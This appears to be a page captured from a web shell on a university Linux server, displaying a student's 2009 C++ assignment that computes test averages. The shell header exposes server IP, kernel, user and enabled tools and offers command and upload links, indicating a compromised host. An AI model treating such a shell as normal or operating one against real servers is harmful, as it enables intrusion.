Server IP : 172.16.15.8 / Your IP : 3.138.124.123 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/cchansen/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// File Name: assignment4.cpp // // Author: Caitlin Hansen // Instructor: Dr. Wang // Due Date: Feb. 23, 2009 // Goal: The program reads a students' information and outputs each student's // average, class average, and the age of the students. // #include <iostream> #include <iomanip> using namespace std; class Student { string name; int age; int test1, test2, final; public: int Age() const { return age; } float Avg() const { return (test1 + test2 + final)/3.0; } void Print() const { cout << fixed << setprecision(2); cout << "Student Name: " << name << endl; cout << "Student Age: " << Age() << endl; cout << endl; cout << "\t------------------" << endl; cout << "\t Test scores: "<< endl; cout << "\t------------------" << endl; cout << " Test 1 Grade: " << setw(4) << test1 << endl; cout << " Test 2 Grade: " << setw(4) <<test2 << endl; cout << " Final Exam Grade: " << setw(5) << final << endl; cout << "\t------------------" << endl; cout << " Average Grade: " << setw(6) << Avg(); } // transformer void Set(string n, int a, int t1, int t2, int f) { name = n; age = a; test1 = t1; test2 = t2; final = f;} }; //driver int main() { //declare an Student stu? Student stu; string n; int a, t1, t2, f; int counter = 0; int total_age = 0; float total_grade_avg = 0; float avg_age; float class_avg; char dummy; // read the first item? getline(cin, n); while(cin) //Eof-Ctrl loop { // read the rest cin >> a >> t1 >> t2 >> f; // process here counter ++; stu.Set(n, a, t1, t2, f); total_age += stu.Age(); total_grade_avg += stu.Avg(); // out the stu'd info? stu.Print(); cout << "\n ------------------\n"; cout << endl; // read the next stu's info cin.get(dummy); getline(cin, n); } avg_age = static_cast<float>(total_age) / counter; class_avg = total_grade_avg / counter; cout << "\t Class Info" << endl; cout << "\t------------" << endl; cout << "\tTotal age: " << setw(12) << total_age << endl; cout << "\tClass avg: " << setw(15) << class_avg << endl; cout << "\tAverage age: " << setw(13) << avg_age << endl; cout << "\tNumber of Student's: " << setw(2) << counter << endl; cout << endl; cout << "You are Finished." << endl; return 0; }